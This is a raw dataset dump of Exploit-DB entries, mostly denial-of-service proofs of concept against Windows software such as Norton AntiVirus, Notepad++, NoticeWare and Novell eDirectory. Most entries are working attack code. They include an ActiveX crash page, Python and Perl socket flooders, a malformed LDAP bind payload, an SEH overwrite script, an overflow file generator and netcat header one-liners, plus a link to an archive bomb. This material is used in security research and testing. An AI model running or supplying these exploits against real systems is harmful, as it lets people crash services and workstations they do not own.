deardaniel/secdata-raw huggingface dataset:
Exploit-DB #312
Description: Norton AntiVirus - Denial of Service
Type: dos
Platform: windows
Date: 2004-07-12
Author: Bipin Gautam

Exploit:
Norton AntiVirus Denial Of Service Vulnerability

*vulnerable [...only tested on!]

Symantec Norton AntiVirus 2003 Professional Edition
Symantec Norton AntiVirus 2002

*not vulnerable
Mcafee 7*
Mcafee 8*

Risk Impact: Medium
Remote: yes

Description:
While having a virus scan [automatic/manual] of some specially crafted compressed files; NAV triggers a DoS using 100% CPU for a very long time. Morover, NAV is unable to stop the scan in middle, even if the user wishes to manually stop the virus scan. 

Then, in this situation the only alternate is to kill the process. 

--- [Proof of Concept] ---
Please download this file.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/312.zip (av_bomb_3.zip) <--- For symantec. 

The file contains, 'EICAR Test String' burried in 49647 directories. This is just a RAW 'proof of concept'. A few 100kb's of compressed file could be crafted in a way... NAV will take hours or MIGHT even days to complete the scan causing 100% cup use in email gateways for hours. The compressed archive must not necessarily be a '.zip' to trigger this attack.

PLEASE: ...test this issue with other AV / trojan scanners as they might also be vulnerable. 

-----------
Bipin Gautam
http://www.geocities.com/visitbipin/

Disclaimer: The information in the advisory is believed to be accurate at the time of printing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect or consequential loss or damage arising from use of, or reliance on this information. 


# milw0rm.com [2004-07-12]
Exploit-DB #743
Description: Norton AntiVirus < 2005 - Remote Stack Overflow
Type: dos
Platform: windows
Date: 2005-01-06
Author: Rafel Ivgi

Exploit:
<!-- Tested on Corp Edition and didn't work / str0ke -->
<head>
<title></title>
</head>
<body>
<script> a="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
b="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
for (i=0;i<2000;i++) {
a= a + b;
}

symkiller=new ActiveXObject("CcErrDsp.ErrorDisplay.1" );
symkiller.DisplayError(1,1,1,b,b,a,b);
</script>
</body>
</html>

// milw0rm.com [2005-01-06]
Exploit-DB #8523
Description: Norton Ghost Support module for EasySetup wizard - Remote Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2009-04-23
Author: shinnai

Exploit:
-----------------------------------------------------------------------------------------
 Norton Ghost Support module for EasySetup wizard Remote DoS/Arbitrary code execution(?)
 url: http://www.symantec.com/

 Author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://www.shinnai.net/

 File:      EasySetupInt.dll
 Ver.:      14.0.4.30167
 ProgID:    Symantec.EasySetup.1
 Descr.:    CEasySetup Object - Support module for EasySetup wizard
 
 Marked as: RegKey Safe for Script: True
            RegKey Safe for Init: True
            Implements IObjectSafety: False
            KillBitSet: False

 Bug info:  This component contains methods which lead into a denial of
            service.
            This is the list of components:

            "GetBackupLocationPath"
            "CallUninstall"
            "SetupDeleteVolume"
            "CanUseEasySetup"
            "CallAddInitialProtection"
            "CallTour"

            Crash happens here:

            03A6B9D6   8B10             MOV EDX,DWORD PTR DS:[EAX]

            And registers risuation is:
           
            EAX 00000000
            ECX 774F9997 ole32.774F9997
            EDX 019DCB04
            EBX 00000000
            ESP 019DCAE4
            EBP 019DCB9C
            ESI 019DCCB8
            EDI 00000001
            EIP 03A6B9D6 EasySetu.03A6B9D6

            Unfortunately the vulnerability seems to be unexploitable, anyway
            I've found a way to execute arbitrary code but it's useless 
            because requires a high level of user interaction to work.
            That's why it will remain private.
            I hope that someone else will be able to exploit this vuln
            using more convenient ways.

            Peace            

 This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.

 Tested on Windows XP Professional SP3 with Internet Explorer 7
-----------------------------------------------------------------------------------------
<object classid='clsid:7972D5BE-2213-4B28-884C-F8F82432EAA5' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value='Click here to start the test'>

<script language='vbscript'>
 Sub tryMe
  test.SetupDeleteVolume()
 End Sub
</script>

# milw0rm.com [2009-04-23]
Exploit-DB #19725
Description: Nosque Workshop MsgCore 1.9 - Denial of Service
Type: dos
Platform: windows
Date: 2000-01-13
Author: Ussr Labs

Exploit:
source: https://www.securityfocus.com/bid/930/info

There is a denial of service condition in Nosque Workshop's MsgCore SMTP server. The problem lies in memory used to store server input not being deallocated and eventually exhausted, causing the target NT host to freeze requiring a reboot. If a smtp client (or user sending input manually) sends multiple sequences of "HELO/ MAIL FROM/ RCPT TO / DATA" in a single connection, the memory allocated to store all of those values will not be freed and the target will stop functioning once memory runs out. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19725.zip
Exploit-DB #35589
Description: Notepad++ 6.6.9 - Buffer Overflow
Type: dos
Platform: windows
Date: 2014-12-22
Author: TaurusOmar

Exploit:
#!/usr/bin/python
# Exploit Title: NotePad++ v6.6.9 Buffer Overflow
# URL Vendor: http://notepad-plus-plus.org/
# Vendor Name: NotePad
# Version: 6.6.9
# Date: 22/12/2014
# CVE:  CVE-2014-1004
# Author: TaurusOmar   
# Twitter: @TaurusOmar_
# Email:  taurusomar13@gmail.com
# Home:  overhat.blogspot.com
# Risk: Medium

#Description:
#Notepad++ is a free (as in "free speech" and also as in "free beer") source code editor and Notepad replacement that supports several languages. 
#Running in the MS Windows environment, its use is governed by GPL License.
#Based on the powerful editing component Scintilla, Notepad++ is written in C++ and uses pure Win32 API and STL which ensures a higher execution speed 
#and smaller program size. By optimizing as many routines as possible without losing user friendliness, Notepad++ is trying to reduce the world carbon 
#dioxide emissions. When using less CPU power, the PC can throttle down and reduce power consumption, resulting in a greener environment.

#Proof Concept
#http://i.imgur.com/TTDtxJM.jpg

#Code
import struct
def little_endian(address):
  return struct.pack("<L",address)
poc ="\x41" * 591
poc+="\xeb\x06\x90\x90"
poc+=little_endian(0x1004C31F)
poc+="\x90" * 80
poc+="\x90" * (20000 - len(poc))
header = "\x3c\x3f\x78\x6d\x6c\x20\x76\x65\x72\x73\x69\x6f\x6e\x3d\x22\x31\x2e\x30\x22\x20\x65\x6e\x63\x6f\x64\x69\x6e\x67\x3d\x22"
header += "\x55\x54\x46\x2d\x38\x22\x20\x3f\x3e\x0a\x3c\x53\x63\x68\x65\x64\x75\x6c\x65\x3e\x0a\x09\x3c\x45\x76\x65\x6e\x74\x20\x55"
header += "\x72\x6c\x3d\x22\x22\x20\x54\x69\x6d\x65\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x0a" + poc
footer = "\x22\x20\x46\x6f\x6c\x64\x65\x72\x3d\x22\x22\x20\x2f\x3e\x0a\x3c\x2f\x53\x63\x68\x65\x64\x75\x6c\x65\x3e\x0a"
exploit =  header + footer
filename = "notepad.xml"
file = open(filename , "w")
file.write(exploit)
file.close()
Exploit-DB #37558
Description: Notepad++ 6.7.3 - Crash (PoC)
Type: dos
Platform: windows
Date: 2015-07-10
Author: Rahul Pratap Singh

Exploit:
# Title: Notepad++ - Crash
# Date: 10/07/2015
# Author: Rahul Pratap Singh (@0x62626262)
# Vendor Homepage: https://notepad-plus-plus.org
# Download: https://notepad-plus-plus.org/download/v6.7.3.html
# Version: v6.7.3
# Tested on: Windows_XP_x86 & Windows_7_x86

Incorrect theme file parsing, that leads to crash.

-Create a .xml file with numbereous "A" (around 1000) in it and save as
test.xml
-Go to this directory in windows  "/appdata/roaming/notepad++/themes/" and
paste above test.xml file in this theme folder and restart notepad++
-Now start notepad++ and in menu tab, go in settings and then select style
configurator and now select test file in theme select option
-Now hit "save and close" button, it will crash with an error message

Thanks

Rahul Pratap Singh
Exploit-DB #5341
Description: Noticeware Email Server 4.6.1.0 - Denial of Service
Type: dos
Platform: windows
Date: 2008-04-01
Author: Ray

Exploit:
#NoticeWare Email Server

#Application:	Noticeware Email Server
#Version: 	4.6.1.0 (NoticeWare Email Server)
#Bugs:		Denial Of Service/ Remote Crash
#Exploitation:	Remote
#Date:		1st April 2008
#Author:		Ray
#Email:		native19@gmail.com
#Platforms:	Tested on XP/2003
#Taken from :	http://www.noticeware.com/noticemail.htm

#"The NoticeWareÂ™ Email Server NG is a high performance, multi-threaded email server for Windows #2000/2003/XP/Vista which supports IMAP/POP3 and SMTP protocols. Whether you are hosting your own email or #collecting mail from your ISP, the NoticeWareÂ™ Email Server will provide everything you need to run a #secure and dependable email system. Ideal for any size of business."
##########################################################################################################

#1) Denial Of Service

#Denial of service occurs when the mailserver.exe crashes after receiving huge number of characters in #IMAP port 143 [ECX =0000000,DL = ??] , the admin application will still be running but if user clicked #on Send/Receive or any other buttons the application will crash .

##########################################################################################################

#A Simple POC by Ray, dont forget to change the host address

use IO::Socket;
print "\n++ NoticeWare DOS";
print "\n++ Initiating";
my $sock = new IO::Socket::INET (
				  PeerAddr => '192.168.2.7',
				  PeerPort => '143',
				  Proto => 'TCP',
				  );
die "Could not initiate connection $!\n" unless $sock;

print $sock "A" x 9000 . "\n";
print "\n++ Have to wait for a few seconds before closing the socket";
sleep(6);
close ($sock);
print "\n++ NC and check if the victim is killed \r\n";

# milw0rm.com [2008-04-01]
Exploit-DB #11451
Description: NovaPlayer 1.0 - '.mp3' File Local Denial of Service (2)
Type: dos
Platform: windows
Date: 2010-02-14
Author: Mr.tro0oqy

Exploit:
#!/usr/bin/perl
print qq (
######################################################
#NovaPlayer 1.0 (.mp3) Local Denial of Service (DoS) #
# by Mr.tro0oqy #
######################################################
);
#author: Mr.tro0oqy
#email : t.4@windowslive.com<mailto:t.4@windowslive.com>
#greetz : Red-D3v1L , virus_hima , Stack
system ("color e");
my $bb="tro0oqy.mp3";
my $fk="\x41" x 10000;
open (myfile,'>>tro0oqy.mp3');
print myfile $fk;
print "great\n "
Exploit-DB #15267
Description: Novel eDirectory DHost Console 8.8 SP3 - Local Overwrite (SEH)
Type: dos
Platform: windows
Date: 2010-10-17
Author: d0lc3

Exploit:
# Exploit Title: 	Novel eDirectory DHost Console 8.8 SP3 Local SEH Overwrite
# Date: 		17/10/2010 
# Author: 		d0lc3	 (@rmallof - http://elotrolad0.blogspot.com/)
# Software Link: 	http://www.novell.com/
# Version: 		8.8 SP3 (20216.67)]
# Tested on: 		win32 xp sp3 (spa)

#Summary:
#	DHostCon.exe is prone to local denial of service caused by stack overflow
#	triggered if user-supplied parameters are too long (1074 bytes).
#	Due nature of this vulnerabilty, attackers could exploit this issue
#	to execute arbitrary code on local host.

#PoC:

#!/usr/bin/python
import os,struct

def main():
	path="C:\Novell\NDS\dhostcon.exe"	
	args="x.x.x.x"				#ip server
	buf="A"*1065
	nseh=struct.pack("<L",0x90909eeb)	#jmp short 0012ff50 +NOP + NOP
	seh=struct.pack("<L",0x61012c20)	#PPR dclient.dll
	
	shellcode=struct.pack("<B",0xCC)	#INT3

	crash=buf+shellcode+nseh+seh

	os.system(path+" "+args+" "+crash)	#Crash!

if __name__=="__main__":
	main()
Exploit-DB #5344
Description: Novel eDirectory HTTP - Denial of Service
Type: dos
Platform: windows
Date: 2008-04-02
Author: muts

Exploit:
#!/usr/bin/python
# Novel eDirectory HTTP DOS
# Discovered and coded by Mati Aharoni
# muts..at..offensive-security.com
# http://www.offensive-security.com/0day/novel-edir.py.txt

import socket
import os
import sys
from time import sleep

biff="<"*2048
print "[*] Payload sent "+ str(len(buff))
expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect ( ( sys.argv[1], 8028 ) )
expl.send ( 'HEAD '+biff+' HTTP/1.1\r\nHost: 192.168.1.10:20\r\nUser-Agent: Mozilla/4.0 (Linux 2.6.21.5) Java/1.5.0_02\r\n\r\n')
data=expl.recv(1024)
print data
expl.close()

# milw0rm.com [2008-04-02]
Exploit-DB #9516
Description: Novell Client for Windows 2000/XP - ActiveX Remote Denial of Service
Type: dos
Platform: windows
Date: 2009-08-25
Author: Francis Provencher

Exploit:
#####################################################################################

Application:  Novell Client for Windows 2000 and XP
            
Platforms:    Windows XP Professional French SP2

crash:	      IE 6.0.2900.2180
	
Exploitation: remote DoS

Date:         2009-08-24

Author:       Francis Provencher (Protek Research Lab's)
             

#####################################################################################

1) Introduction
2) Technical details
3) The Code

#####################################################################################

===============
1) Introduction
===============

The Novell Client workstation software extends the capabilities of Linux and Windows desktops by providing access to NetWare and Open Enterprise Server (OES). Once installed on workstations, Novell Clients enable users to enjoy the full range of Novell services such as authentication via Novell eDirectory, network browsing and service resolution, and secure and reliable file system accessâ€”all delivered through industry-standard protocols. The Client supports Novell's traditional NCP protocol.

#####################################################################################

============================
2) Technical details 
============================

Name:	nwsetup.dll
Ver.:	4.91.5.1
CLSID:	{158CD9E8-E195-4E82-9A78-0CF6B86B3629}
CLSID:  {3D321EAD-C7B1-41E8-82DD-0855E1E1B0AA}



#####################################################################################

===========
3) The Code
===========

Proof of concept DoS code;


<html><body>
<object classid="CLSID:{3D321EAD-C7B1-41E8-82DD-0855E1E1B0AA}" ></object>
</body></html>

or 


<html><body>
<object classid="CLSID:{158CD9E8-E195-4E82-9A78-0CF6B86B3629}" ></object>
</body></html>

#####################################################################################

# milw0rm.com [2009-08-25]
Exploit-DB #10163
Description: Novell eDirectory - HTTPSTK Login Stack Overflow
Type: dos
Platform: windows
Date: 2009-11-17
Author: karak0rsan

Exploit:
# Exploit Title: Novell eDirectory HTTPSTK Login Stack Overflow Vulnerability
# Date: 2009-11-17
# Author: karak0rsan
# Software Link: [downoad link if available]
# Version: Novell eDirectory 8.8 SP5 HTTPSTK
# Tested on: [relevant os]
# Code : [exploit code]

#!usr\bin\perl
# Novell eDirectory 8.8 SP5 HTTPSTK BoF Vuln - 0day
# Vulnerability found in Hellcode Labs.
# karak0rsan || murderkey
# info[at]hellcode.net || www.hellcode.net


use WWW::Mechanize;

use LWP::Debug qw(+);

use HTTP::Cookies;
use HTTP::Request::Common;;

$target=$ARGV[0];


if(!$ARGV[0]){

       print "Novell eDirectory 8.8 SP5 Exploit\n";

       print "Hellcode Research || Hellcode.net\n";

       print "Usage:perl $0 [target]\n";

exit();
}
         print "Username:";

         $username = <STDIN>;

         chomp($username);

         print "Password:";

         $password = <STDIN>;

         chomp($password);


$login_url = "$target/_LOGIN_SERVER_";

$url = "$target/dhost/httpstk;submit";

$buffer = "\x41" x 476;

my $mechanize = WWW::Mechanize->new();


$mechanize->cookie_jar(HTTP::Cookies->new(file => "$cookie_file",autosave => 1));


$mechanize->timeout($url_timeout);

$res = $mechanize->request(HTTP::Request->new('GET', "$login_url"));


   $mechanize->submit_form(

                 form_name => "authenticator",

                 fields    => {

                    usr => $username,

                    pwd => $password},

                    button => 'Login');

$res2 = $mechanize->request(HTTP::Request->new('GET', "$url"));
$res2 = $mechanize->request(POST "$url", [sadminpwd => $buffer, verifypwd => $buffer]);
Exploit-DB #9597
Description: Novell eDirectory 8.8 SP5 - Remote Denial of Service
Type: dos
Platform: windows
Date: 2009-09-09
Author: karak0rsan

Exploit:
Affected Software:
Novell eDirectory 8.8 SP5

Vulnerability Description:
Novell eDirectory 8.8 SP5 is vulnerable to a denial of service attack.
If a remote attacker sends Unicode strings with Http Request to "8028 port" 
("8028" is the default port of Novell eDirectory Dhost Http Server), 
the attacker can cause the system to consume %100 of the CPU resources.

Discovered by:
karak0rsan, Hellcode Research

Original Advisory: 
http://tcc.hellcode.net/advisories/hellcode-adv003.txt

Exploit:

	- snip-
....

$data = "?" x 500000;

for($i= 0; $i < 1000; $i++)
{
	$sock= new IO::Socket::INET( PeerAddr => "localhost",
	PeerPort => 8028,

	Proto => 'tcp',
	Type => SOCK_STREAM, 

	);
	
	print $sock "GET /$data HTTP/1.0\r\n\r\n";
	
	close($sock);
}

...
	- snip -

# milw0rm.com [2009-09-09]
Exploit-DB #10062
Description: Novell eDirectory 883ftf3 - nldap module Denial of Service
Type: dos
Platform: windows
Date: 2009-11-16
Author: ryujin

Exploit:
#!/usr/bin/python
# 22/03/2009
# Novell eDirectory 883ftf3 nldap module DOS
# Matteo Memelli - offensive-security.com
# ryujin ___ @ ___ offensive-security.com
#
# A malformed bind LDAP packet can make dhost.exe service crashing.
# 24/03/2009 Vendor notification; patched in 885 release
#

import sys
from socket import *

payload = (
          "\x30\x7E\x02\x02\x01\x60\x77\x02\x84\xFF\xFF\xFF\xFF\x03\x04\x84"
          "\xFF\xFF\xFF\xFF\x64\x63\x3D\x75\x61\x72\x65\x67\x6f\x6e\x6e\x61"
          "\x63\x72\x61\x73\x68\x2C\x64\x63\x3D\x63\x6F\x6D\x2B\x64\x63\x3D"
          "\x75\x61\x72\x65\x67\x6f\x6e\x6e\x61\x63\x72\x61\x73\x68\x2C\x64"
          "\x63\x3D\x63\x6F\x6D\x2B\x64\x63\x3D\x75\x61\x72\x65\x67\x6f\x6e"
          "\x6e\x61\x63\x72\x61\x73\x68\x2C\x64\x63\x3D\x63\x6F\x6D\x2B\x64"
          "\x63\x3D\x75\x61\x72\x65\x67\x6f\x6e\x6e\x61\x63\x72\x61\x73\x68"
          "\x2C\x64\x63\x3D\x63\x6F\x6D\x2B\x64\x63\x3D\x63\x6F\x6D\x80\x00"
          )

s = socket(AF_INET, SOCK_STREAM)
print 'connecting...'
s.connect((sys.argv[1], 389))
print 'sending payload...'
s.send(payload)
print s.recv(1024)
s.close()
print 'Done!'
Exploit-DB #5547
Description: Novell eDirectory < 8.7.3 SP 10 / 8.8.2 - HTTP headers Denial of Service
Type: dos
Platform: windows
Date: 2008-05-05
Author: Nicob

Exploit:
[=] Affected software :

	Editor : Novell
	Name : eDirectory
	Version : < 8.7.3 SP 10 and < 8.8.2
	Services : TCP/8028 (HTTP) and TCP/8030 (HTTPS)

[=] External references :

http://www.novell.com/support/viewContent.do?externalId=3829452&sliceId=1
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0927

[=] Technical details :

The dhost.exe process will consume 100% of a CPU. More than one request
can be used to lock every CPU.

Two "Connection:" headers : echo "GET / HTTP/1.0"; echo "Connection:
foo"; echo "Connection: bar"; echo; echo) | nc -vn 192.168.1.1 8028 

One "Connection:" header with two values : (echo "GET / HTTP/1.0"; echo
"Connection: foo, bar"; echo; echo) | nc -vn 192.168.1.1 8028

Nicob

# milw0rm.com [2008-05-05]